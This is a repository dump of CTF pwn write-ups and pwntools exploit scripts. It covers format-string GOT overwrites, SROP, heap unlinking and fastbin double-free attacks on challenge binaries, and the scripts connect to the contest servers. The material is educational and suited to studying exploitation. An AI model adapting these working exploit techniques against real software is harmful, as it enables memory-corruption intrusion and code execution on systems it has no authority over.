130 | }
131 |
132 |
133 | void __cdecl seek_divinity() {
134 | int32_t input; // [sp+Ch] [bp-4h]@1
135 |
136 | puts("\nChild, what do you seek?");
137 | puts("[1] Take wisdom");
138 | puts("[2] Give wisdom");
139 | puts("[3] Rethink wisdom");
140 | printf("Your choice: ");
141 | input = readint();
142 | switch ( input ) {
143 | case 1:
144 | take_wisdom();
145 | break;
146 | case 2:
147 | give_wisdom();
148 | break;
149 | case 3:
150 | modify_wisdom();
151 | break;
152 | default:
153 | puts("What you ask for cannot be found here.");
154 | break;
155 | }
156 | }
157 |
158 |
159 | void __fastcall scribe_store(quote_t *quote) {
160 | if ( templeWisdom > 255 ) {
161 | puts("We have nothing else to offer you. Seek another temple.");
162 | exit(0);
163 | }
164 | temple[(unsigned __int64)templeWisdom++] = quote;
165 | }
166 |
167 |
168 | quote_t *__cdecl make_wisdom() {
169 | quote_t *quote; // ST08_8@1
170 | int v1; // eax@1
171 | char *chosenProphet; // ST18_8@1
172 | const char *v3; // rdx@1
173 |
174 | quote = (quote_t *)mm_malloc(32uLL);
175 | v1 = rand();
176 | chosenProphet = prophets[(signed int)(v1
177 | - 6
178 | * ((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL
179 | * (unsigned __int128)(unsigned __int64)v1 >> 64) >> 2))];
180 | v3 = wisdom[(unsigned __int64)templeWisdom];
181 | quote->text = (char *)v3;
182 | quote->text_size = strlen(v3);
183 | quote->character = chosenProphet;
184 | quote->character_size = strlen(chosenProphet);
185 | scribe_store(quote);
186 | return quote;
187 | }
188 |
189 |
190 | int main(int argc, const char **argv, const char **envp) {
191 | unsigned int v3; // eax@1
192 | int i; // [sp+2Ch] [bp-4h]@1
193 |
194 | setvbuf(stdout, 0LL, 2, 0LL);
195 | v3 = time(0LL);
196 | srand(v3);
197 | horizon();
198 | for ( i = 0; i <= 7; ++i )
199 | make_wisdom();
200 | while ( 1 )
201 | seek_divinity();
202 | }
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/32_new:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/32_new
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/README.md:
--------------------------------------------------------------------------------
1 | We have [32-bit binary](32_new). Let's examine what this thing do using IDA Pro.
2 |
3 |
4 |
5 |
6 |
7 | The code is pretty simple. We input string, then put the entered string into ```format``` variable and in the end we print ```format```. How you can see ```printf``` function has only one argument. So, this is can be **format string attack**. Let's check it putting in the binary ```"%x.%x.%x.%x"``` string
8 |
9 |
10 |
11 |
12 |
13 | Okay, there is format string bug. It means that we can write into an arbitrary memory address. But what and where we should write? If we check the code one more time then we can see interesting function:
14 |
15 |
16 |
17 |
18 |
19 | This function simply prints the flag. So, the obvious idea to solve this challenge is to change execution flow to above function. Okay, if we can write into arbitrary place, then we should just replace GOT entry of ```exit``` function with the address of the function printing the flag.
20 |
21 | [Exploit](exploit.py) that does exactly that, is placed below:
22 |
23 | ```python
24 | from pwn import *
25 |
26 |
27 | def main():
28 | pc = remote('163.172.176.29', 9035)
29 |
30 | fm = '%34501x%20$hn%33017x%21$hn'
31 |
32 | pc.recvline()
33 | pc.sendline(fm + (40 - len(fm)) * 'A' + '\x34\xa0\x04\x08' + '\x36\xa0\x04\x08')
34 |
35 | pc.interactive()
36 |
37 |
38 | if __name__ == '__main__':
39 | main()
40 | ```
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/exploit.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 |
4 | def main():
5 | pc = remote('163.172.176.29', 9035)
6 |
7 | fm = '%34501x%20$hn%33017x%21$hn'
8 |
9 | pc.recvline()
10 | pc.sendline(fm + (40 - len(fm)) * 'A' + '\x34\xa0\x04\x08' + '\x36\xa0\x04\x08')
11 |
12 | pc.interactive()
13 |
14 |
15 | if __name__ == '__main__':
16 | main()
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/screens/code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/code.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/screens/fsb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/fsb.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/baby-0x41414141/screens/print-flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/baby-0x41414141/screens/print-flag.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/README.md:
--------------------------------------------------------------------------------
1 | The task consists of one [64-bit binary](player_bin). Let's examine what's under the hood of this challenge.
2 |
3 |
4 |
5 |
6 |
7 | First of all, look at the ```0x10000023``` address. Flag for this challenge is placed in this address on the CTF server. So, obviously that we should just print it. Okay, let's examine the code.
8 |
9 | There is not so much code and everything is pretty straight. In the first syscall at ```0x100000b``` we input string into ```rsi``` register. After that we prepare registers for the second syscall. If we look at the table of syscalls for [x86_64 architecture](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) then we find out that this syscall is [```sys_rt_sigreturn```](https://linux.die.net/man/2/rt_sigreturn).
10 |
11 | For me this doesn't tell much, so let's run the binary and see what this thing do. I input ```'A' * 12``` and stopped before the second syscall. The state of our program looks like that:
12 |
13 |
14 |
15 |
16 |
17 | Each register has rational and understandable value. Pay your attention to the values laying on the stack. Now, let's execute this ```sys_rt_sigreturn```:
18 |
19 |
20 |
21 |
22 |
23 | You can think "What the heck?", but look at the stack before executing the syscall and you find out that all registers are set up with the values from the stack. This named a stack frame. According to the Linux man page, ```sys_rt_sigreturn``` function returns from signal handler and cleanup stack frame. So, if we input a pretty big string then we can control stack frame and hence overwrite all registers, sweet. This technique called **SROP** -- Sigreturn Oriented Programming. You can read about it on Google :3
24 |
25 | What's next? We can control all registers including ```rip```. The idea is pretty simple: To change ```rip``` to syscall address (doesn't matter which of the two) and set all registers to write the flag into ```stdout```. There are two ways to do this:
26 | - Using ```pwntools``` and its built-in class for Sigreturn frames. Then set needed registers with desirable values and input them.
27 | - And more complex way: finding the order of registers in a stack frame and create this frame by yourself.
28 |
29 | I chose the first way, but you can improve your skills by creating a stack frame by yourself (I did it too).
30 |
31 | [Exploit](exploit.py) that creates the stack frame and input it is placed below:
32 |
33 | ```python
34 | import struct
35 |
36 | from pwn import *
37 |
38 |
39 | def main():
40 | context.clear()
41 | context.arch = "amd64"
42 |
43 | rm = remote('163.172.176.29', 9034)
44 |
45 | frame = SigreturnFrame()
46 | frame.rax = 0x1
47 | frame.rdi = 0x1
48 | frame.rsi = struct.unpack('Q', '\x23\x00\x00\x10\x00\x00\x00\x00')[0]
49 | frame.rdx = 0x30
50 | frame.rip = struct.unpack('Q', '\x12\x00\x00\x10\x00\x00\x00\x00')[0]
51 |
52 |
53 | rm.send(bytes(frame))
54 | rm.interactive()
55 |
56 |
57 | if __name__ == '__main__':
58 | main()
59 |
60 |
61 | ```
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/exploit.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | from pwn import *
4 |
5 |
6 | def main():
7 | context.clear()
8 | context.arch = "amd64"
9 |
10 | rm = remote('163.172.176.29', 9034)
11 |
12 | frame = SigreturnFrame()
13 | frame.rax = 0x1
14 | frame.rdi = 0x1
15 | frame.rsi = struct.unpack('Q', '\x23\x00\x00\x10\x00\x00\x00\x00')[0]
16 | frame.rdx = 0x30
17 | frame.rip = struct.unpack('Q', '\x12\x00\x00\x10\x00\x00\x00\x00')[0]
18 |
19 |
20 | rm.send(bytes(frame))
21 | rm.interactive()
22 |
23 |
24 | if __name__ == '__main__':
25 | main()
26 |
27 |
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/player_bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/player_bin
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/screens/after-signal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/after-signal.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/screens/before-signal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/before-signal.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/screens/call-signal.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/call-signal.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/screens/checksec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/checksec.png
--------------------------------------------------------------------------------
/2017/backdoorctf17/pwn/funsignals/screens/code.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/backdoorctf17/pwn/funsignals/screens/code.png
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/bookkeeping/exploit.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | from pwn import *
4 |
5 |
6 |
7 | def add(pc, size, title, body):
8 | pc.sendlineafter('>', '1')
9 | pc.sendlineafter('>', str(size))
10 | pc.sendlineafter('>', title)
11 | pc.sendlineafter('>', body)
12 |
13 |
14 | def delete(pc, index):
15 | pc.sendlineafter('>', '2')
16 | pc.sendlineafter('>', str(index))
17 |
18 |
19 | def edit(pc, index, title, body):
20 | pc.sendlineafter('>', '3')
21 | pc.sendlineafter('>', str(index))
22 | pc.sendlineafter('>', title)
23 | pc.sendlineafter('>', body)
24 |
25 |
26 | def _print(pc, index):
27 | pc.sendlineafter('>', '4')
28 | pc.sendlineafter('>', str(index))
29 |
30 |
31 | def get_flag(pc, index):
32 | pc.sendlineafter('>', '6')
33 |
34 |
35 | def main():
36 | # pc = process('./service1.o')
37 | pc = remote('51.15.73.163', 8888)
38 |
39 | notes_dir = '\x00\xb0\xfe\xca\x00\x00\x00\x00'
40 | flag_dir = '\x38\xb0\xfe\xca\x00\x00\x00\x00'
41 | flag_addr = '\x69\x0b\x40\x00\x00\x00\x00\x00'
42 | addr = '\x60\x20\x60\x00\x00\x00\x00\x00'
43 | dead_beef = '\x00\xb0\xad\xde\x00\x00\x00\x00'
44 |
45 | real_flag_addr = '\x00\x10\x60\x00\x00\x00\x00\x00'
46 |
47 | add(pc, -70, 'AAAA', '')
48 | add(pc, -70, 'BBBB', '')
49 | add(pc, -70, 'CCCC', '')
50 | add(pc, -70, 'A', '')
51 | add(pc, -70, 'A', '')
52 |
53 | delete(pc, 3)
54 | delete(pc, 2)
55 | delete(pc, 1)
56 | delete(pc, 0)
57 |
58 | add(pc, -70, 16 * 'C' + '\x00\x00\x00\x00\x00\x00\x00\x00' * 11 + '\x70\x00\x00\x00\x00\x00\x00\x00' + '\x2d\x20\x60\x00\x00\x00\x00\x00', '')
59 |
60 | add(pc, -70, 'AAAA', '')
61 |
62 | add(pc, -70, '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' + addr + 'GIMMETHEFLAG\x00\x00\x00\x00' + notes_dir + flag_dir, '')
63 | edit(pc, 0, 'GIMMETHEFLAG\x00', '')
64 | edit(pc, 1, '\x00\xb0\xad\xde\x00\x00\x00\x00\x00\x00\x00', '')
65 |
66 | pc.sendline('6')
67 |
68 | _print(pc, 0)
69 |
70 | pc.interactive()
71 |
72 |
73 | if __name__ == '__main__':
74 | try:
75 | os.remove('/dev/shm/notes_dir')
76 | except Exception:
77 | pass
78 |
79 | main()
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/bookkeeping/service.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/service.o
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/bookkeeping/service1.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/service1.o
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/bookkeeping/verifier.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/bookkeeping/verifier.o
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/shelter/challenge:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/BackdoorCTF 2018/shelter/challenge
--------------------------------------------------------------------------------
/2018/BackdoorCTF 2018/shelter/exploit.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | from pwn import *
4 |
5 |
6 | def to_addr(n):
7 | return struct.pack('Q', n)
8 |
9 | def to_n(addr):
10 | return struct.unpack('Q', addr)[0]
11 |
12 | def create(pc, name):
13 | pc.sendlineafter('choice > ', '1')
14 | pc.sendlineafter('Enter content > ', name)
15 | return int(pc.recvline().strip().split(' ')[-2], 16)
16 |
17 | def delete(pc, index):
18 | pc.sendlineafter('choice > ', '2')
19 | pc.sendlineafter('Enter index to delete note > ', str(index))
20 |
21 | def help(pc):
22 | pc.sendlineafter('choice > ', '3')
23 | return int(pc.recvline().strip().split(' ')[-1], 16)
24 |
25 |
26 | def main():
27 | # pc = process('./challenge')
28 | pc = remote('51.15.73.163', 8088)
29 |
30 | help_addr = help(pc)
31 |
32 | print('Help address: ' + hex(help_addr))
33 |
34 | get_shell = help_addr - 0xC1A + 0xA30
35 |
36 | addr1 = create(pc, 'AAAA') # 0
37 | addr2 = create(pc, 'BBBB') # 1
38 | addr3 = create(pc, 'CCCC') # 2
39 |
40 | print('Heap address: ' + hex(addr1))
41 |
42 | delete(pc, 0)
43 |
44 | # | prev_size | size | fd | bk |
45 | fake_chunk1 = p64(0) + p64(0) + p64(addr1 + 16*7) + p64(addr1 + 16*7) # <- for tricking malloc
46 | fake_chunk2 = p64(0) + p64(0) + p64(addr1 + 16*3) + p64(addr1 + 16*3) # <- for unlinking
47 |
48 | payload = (8 + 32) * '\x00' + fake_chunk1 + 32 * 'A' + fake_chunk2 + 32 * 'A'
49 |
50 | print(len(payload))
51 |
52 | create(pc, payload + (241 - len(payload) - 9) * 'A' + '\xc0\x00\x00\x00\x00\x00\x00\x00' + '\x00')
53 |
54 | delete(pc, 1)
55 |
56 | create(pc, 'D' * (8 + 160) + p64(0) + p64(0x100) + to_addr(get_shell))
57 |
58 | delete(pc, 1)
59 |
60 | pc.interactive()
61 |
62 |
63 | if __name__ == '__main__':
64 | main()
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/README.md:
--------------------------------------------------------------------------------
1 | # __Harekaze CTF 2018__
2 | ## _Flea Attack_
3 |
4 | ## Information
5 |
6 | **Category:** | **Points:** | **Writeup Author**
7 | --- | --- | ---
8 | Exploitation | 200 | merrychap
9 |
10 | **Description:**
11 |
12 | > nc problem.harekaze.com 20175
13 |
14 | ## Solution
15 |
16 | Alright, we're given the [flea_attack](./flea_attack.elf) binary.
17 |
18 | ```sh
19 | $ file flea_attack.elf
20 | flea_attack.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped
21 | ```
22 |
23 | Now we know that it's 64-bit ELF. First of all, we have to understand how this thing works.
24 |
25 | ### Reversing the binary
26 |
27 | Here will be pictures of some parts of the reversed code. If you want to see the whole code of the binary, then check out [flea_attack.c](./flea_attack.c) file. Let's open ```main``` function in IDA Pro:
28 |
29 |
30 |
31 |
32 |
33 | As you can see, we open the flag and write it somewhere (this function will be shown a little bit below), after this, we enter comment and go to the main loop of the program. In the main loop, we can choose to add a new name or delete an existing one.
34 |
35 | ### Open flag function
36 |
37 |
38 |
39 |
40 |
41 | Here we just open a file with the flag and save its content into ```flag``` global variable. It's obvious that we have to read somehow the content of the ```flag``` variable.
42 |
43 | ### Gets comment function
44 |
45 |
46 |
47 |
48 |
49 | ```original_fgets``` function is just a kind of wrapper for ```fgets``` function. Code of ```original_fgets``` you can see in [flea_attack.c](./flea_attack.c). Okay, here we just input a string of 96 bytes length into ```comment``` global variable.
50 |
51 | Also, it's important where ```comment``` and ```flag``` variables located. Using IDA Pro we can find out the next:
52 |
53 | ```asm
54 | .bss:204000 comment db ? ;
55 | .bss:204001 db ? ;
56 | .bss:204002 db ? ;
57 | .bss:204003 db ? ;
58 |
59 | ...........
60 |
61 | .bss:204080 public flag
62 | .bss:204080 flag db ? ;
63 | .bss:204081 db ? ;
64 | .bss:204082 db ? ;
65 | .bss:204083 db ? ;
66 | .bss:204084 db ? ;
67 | .bss:204085 db ? ;
68 | .bss:204086 db ? ;
69 |
70 | ...........
71 |
72 | .bss:2040AE db ? ;
73 | .bss:2040AF db ? ;
74 | ```
75 |
76 | ### Add name function
77 |
78 |
79 |
80 |
81 |
82 | Here we enter a size for a name, after this, the binary allocates a chunk for the name and then we enter the name itself. As you can see, after this, program prints entered name and an address of this string.
83 |
84 | Remember that **this is very important place of the binary**. Also, there is no any validation for the entered size (!).
85 |
86 | ### Delete name function
87 |
88 |
89 |
90 |
91 |
92 | This function is pretty straightforward. Program asks us for an address of a chunk and remove it.
93 |
94 |
95 | ### Find a vulnerability
96 | Okay, we know that we can create chunks of any sizes. And also we're able to delete any chunk. Let's try to make a **```double free```** attack. You can read about it [here](https://www.owasp.org/index.php/Double_Free).
97 |
98 | Double free attack gives us an opportunity to create two different pointers that point to the same chunk. We will be working with fastbin chunks.
99 |
100 | ```c
101 | 1 a = malloc(30);
102 | 2 b = malloc(30);
103 | 3 c = malloc(30);
104 | 4
105 | 5 free(a); // head --> a --> tail
106 | 6 free(b); // head --> b --> a --> tail
107 | 7 free(a); // head --> a --> b --> a --> tail
108 | 8
109 | 9 d = malloc(30) // head --> b --> a --> tail
110 | 10 e = malloc(30) // head --> a --> tail
111 | 11 f = malloc(30) // head --> tail
112 |
113 | // d and f point to the same chunk!
114 | ```
115 |
116 | If we try to do the same operations in given binary, then we find out that it attack really works here.
117 |
118 | ### Exploitation of the binary
119 | What can we do if we have two pointers that point to the same heap chunk? Well, as we know, fastbin chunks have only ```fd``` pointer (without ```bk```) and after allocating a chunk, this pointer is pushed on a fastbin and considered as top of fastbin (fastbin behaves as a stack).
120 |
121 | Now let's look at 9 - 10 lines more closely. After allocating a chunk, we enter a string into it. Hence, on the second malloc, fastbin takes entered value (in ```fd``` field) as the new top chunk of the fastbin.
122 |
123 | This attack gives us an opportunity to get ```malloc``` to return a nearly-arbitrary pointer (known as House of Spirit attack). If we want malloc to return ```addr``` pointer, then ```addr+8``` has to be the size of chunks in the fastbin (in other case an exception will be raised).
124 |
125 | ### Get the flag
126 | Okay, we're almost done. We want to read the flag, right? The only one place that prints the string is ```add_name``` function. ```malloc``` gives us a pointer, then we enter a string under the address of the pointer and this value is printed. So, we want flag to be printed, then we want malloc to return address near ```flag``` variable. Let's recall that we have ```comment``` variable. We can enter 94 any bytes and the last 95th byte will be the size of chunks in the fastbin. After this, we will trick the top of the fastbin to point to ```&flag-32``` address. That will give us an opportunity to print the flag!
127 |
128 | ### Exploit
129 | You can read [exploit.py](./exploit.py) file or just read the code below:
130 |
131 | ```python
132 | import struct
133 |
134 | from pwn import *
135 |
136 |
137 | def to_num(addr):
138 | return struct.unpack('Q', addr)[0]
139 |
140 |
141 | def to_addr(num):
142 | return struct.pack('Q', num)
143 |
144 |
145 | def comment(pc, com):
146 | pc.recvuntil('note:')
147 | pc.sendline(com)
148 |
149 |
150 | def add(pc, size, name, fl=False, print_flag=False):
151 | pc.recvuntil('> ')
152 | pc.sendline('1')
153 | pc.recvuntil('Size: ')
154 | pc.sendline(size)
155 | pc.recvuntil('Name: ')
156 | pc.sendline(name)
157 | if not fl:
158 | pc.recvline()
159 | name = pc.recvline()[6:-1]
160 | resp = pc.recvline()
161 | if print_flag:
162 | print(resp)
163 | addr = pc.recvline()[6:-1]
164 | return name, addr
165 |
166 |
167 | def delete(pc, addr):
168 | pc.recvuntil('> ')
169 | pc.sendline('2')
170 | pc.recvuntil('Addr: ')
171 | pc.sendline(addr)
172 | pc.recvuntil('3. Exit')
173 | pc.recvuntil('3. Exit')
174 |
175 |
176 | def main():
177 | flag = '\x56\x40\x20\x00\x00\x00\x00\x00'
178 |
179 | pc = remote('problem.harekaze.com', 20175)
180 |
181 | comment(pc, 'A' * 94 + '\x41\x00')
182 | name1, addr1 = add(pc, '45', 'AAAA')
183 | name2, addr2 = add(pc, '45', 'BBBB')
184 | name3, addr3 = add(pc, '45', 'CCCC')
185 |
186 | delete(pc, addr1)
187 | delete(pc, addr2)
188 | delete(pc, addr1)
189 |
190 | name4, addr4 = add(pc, '45', flag, True) # after allocating name6, fastbin's top chunk will be changed to desirable address (flag variable).
191 | name5, addr5 = add(pc, '45', '', True)
192 | name6, addr6 = add(pc, '45', flag, True)
193 |
194 | print(addr4) # check if double free works
195 | print(addr6)
196 |
197 | delete(pc, addr4)
198 |
199 | name7, addr7 = add(pc, '45', '')
200 | name8, addr8 = add(pc, '45', 'AAAAAAAAAAAAAAAAAAAAAAAAA', print_flag=True)
201 |
202 | pc.interactive()
203 |
204 |
205 | if __name__ == '__main__':
206 | main()
207 | ```
208 |
209 | ### Flag
210 |
211 | And after all produced actions we get the next:
212 |
213 |
214 |
215 |
216 |
217 | > HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/exploit.py:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | from pwn import *
4 |
5 |
6 | def to_num(addr):
7 | return struct.unpack('Q', addr)[0]
8 |
9 |
10 | def to_addr(num):
11 | return struct.pack('Q', num)
12 |
13 |
14 | def comment(pc, com):
15 | pc.recvuntil('note:')
16 | pc.sendline(com)
17 |
18 |
19 | def add(pc, size, name, fl=False, print_flag=False):
20 | pc.recvuntil('> ')
21 | pc.sendline('1')
22 | pc.recvuntil('Size: ')
23 | pc.sendline(size)
24 | pc.recvuntil('Name: ')
25 | pc.sendline(name)
26 | if not fl:
27 | pc.recvline()
28 | name = pc.recvline()[6:-1]
29 | resp = pc.recvline()
30 | if print_flag:
31 | print(resp)
32 | addr = pc.recvline()[6:-1]
33 | return name, addr
34 |
35 |
36 | def delete(pc, addr):
37 | pc.recvuntil('> ')
38 | pc.sendline('2')
39 | pc.recvuntil('Addr: ')
40 | pc.sendline(addr)
41 | pc.recvuntil('3. Exit')
42 | pc.recvuntil('3. Exit')
43 |
44 |
45 | def main():
46 | flag = '\x56\x40\x20\x00\x00\x00\x00\x00'
47 |
48 | pc = remote('problem.harekaze.com', 20175)
49 |
50 | comment(pc, 'A' * 94 + '\x41\x00')
51 | name1, addr1 = add(pc, '45', 'AAAA')
52 | name2, addr2 = add(pc, '45', 'BBBB')
53 | name3, addr3 = add(pc, '45', 'CCCC')
54 |
55 | delete(pc, addr1)
56 | delete(pc, addr2)
57 | delete(pc, addr1)
58 |
59 | name4, addr4 = add(pc, '45', flag, True)
60 | name5, addr5 = add(pc, '45', '', True)
61 | name6, addr6 = add(pc, '45', flag, True)
62 |
63 | print(addr4) # check if double free works
64 | print(addr6)
65 |
66 | delete(pc, addr4)
67 |
68 | name7, addr7 = add(pc, '45', '')
69 | name8, addr8 = add(pc, '45', 'AAAAAAAAAAAAAAAAAAAAAAAAA', print_flag=True)
70 |
71 | pc.interactive()
72 |
73 |
74 | if __name__ == '__main__':
75 | main()
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/flea_attack.c:
--------------------------------------------------------------------------------
1 | int del_name() {
2 | int result; // eax@1
3 | __int64 v1; // rsi@1
4 | void *addr; // [sp+10h] [bp-10h]@1
5 | __int64 canary; // [sp+18h] [bp-8h]@1
6 |
7 | canary = *MK_FP(__FS__, 40LL);
8 | addr = 0LL;
9 | printf("Addr: ");
10 | __isoc99_scanf("%llx", &addr);
11 | free(addr);
12 | result = puts("Done!");
13 | v1 = *MK_FP(__FS__, 40LL);
14 | return result;
15 | }
16 |
17 |
18 |
19 | int add_name() {
20 | int size; // ST2C_4@1
21 | void *buf; // ST20_8@1
22 |
23 | printf("Size: ");
24 | size = gets_int();
25 | buf = malloc(size); // fastbin top to flag address
26 | printf("Name: ");
27 | read(0, buf, size);
28 | puts("Done!");
29 | printf("Name: %s\n", buf); // here is have to be the flag address
30 | return printf("Addr: %llx\n", buf);
31 | }
32 |
33 |
34 |
35 | int gets_int() {
36 | int num; // eax@1
37 | char input; // [sp+1Ch] [bp-14h]@1
38 | __int64 canary; // [sp+28h] [bp-8h]@1
39 |
40 | canary = *MK_FP(__FS__, 40LL);
41 | fgets(&input, 11, stdin);
42 | num = atoi(&input);
43 | *MK_FP(__FS__, 40LL);
44 | return num;
45 | }
46 |
47 |
48 |
49 | int show_menu() {
50 | puts("1. Add name");
51 | puts("2. Delete name");
52 | return puts("3. Exit");
53 | }
54 |
55 |
56 |
57 | __int64 __fastcall original_fgets(__int64 ptr, __int64 size) {
58 | __int64 result; // rax@2
59 | unsigned __int64 i; // [sp+18h] [bp-18h]@1
60 |
61 | for ( i = 0LL; ; ++i ) {
62 | result = i;
63 | if ( i >= size - 1 )
64 | break;
65 | read(0, (void *)(i + ptr), 1uLL);
66 | if ( !*(_BYTE *)(ptr + i) ) {
67 | *(_BYTE *)(ptr + i) = '\n';
68 | LABEL_7:
69 | result = ptr;
70 | *(_BYTE *)(ptr + i + 1) = 0;
71 | return result;
72 | }
73 | if ( *(_BYTE *)(ptr + i) == '\n' )
74 | goto LABEL_7;
75 | }
76 | return result;
77 | }
78 |
79 |
80 |
81 | __int64 gets_comment() {
82 | return original_fgets((__int64)&comment, 96LL);
83 | }
84 |
85 |
86 |
87 | char *open_flag() {
88 | FILE *stream; // [sp+18h] [bp-8h]@1
89 |
90 | stream = fopen("/home/flea_attack/flag", "r");
91 | if ( !stream ) {
92 | puts("ERROR: Open Error");
93 | exit(1);
94 | }
95 | return fgets((char *)&flag, 48, stream);
96 | }
97 |
98 |
99 |
100 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {
101 | int choice; // [sp+20h] [bp-20h]@2
102 |
103 | setvbuf(stdin, 0LL, 2, 0LL);
104 | setvbuf(stdout, 0LL, 2, 0LL);
105 | setvbuf(stderr, 0LL, 2, 0LL);
106 | open_flag();
107 | printf("Some comment this note:", 0LL);
108 | gets_comment();
109 | while ( 1 ) {
110 | while ( 1 ) {
111 | show_menu();
112 | printf("> ");
113 | choice = gets_int();
114 | if ( choice != 1 )
115 | break;
116 | add_name();
117 | }
118 | if ( choice == 2 ) {
119 | del_name();
120 | }
121 | else {
122 | if ( choice == 3 ) {
123 | puts("Bye.");
124 | exit(0);
125 | }
126 | puts("Invalid");
127 | }
128 | }
129 | }
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/flea_attack.elf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/flea_attack.elf
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/nohup.out:
--------------------------------------------------------------------------------
1 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found
2 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found
3 | err:module:import_dll Library python27.dll (which is needed by L"Z:\\home\\kali\\Development\\Tools\\Reversing\\IDA 6.8\\plugins\\python.p64") not found
4 |
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/add_name.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/add_name.png
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/del_name.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/del_name.png
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2018/Harekaze CTF 2018/flea_attack/screens/flag.png
--------------------------------------------------------------------------------
/2018/Harekaze CTF 2018/flea_attack/screens/gets_comment.png:
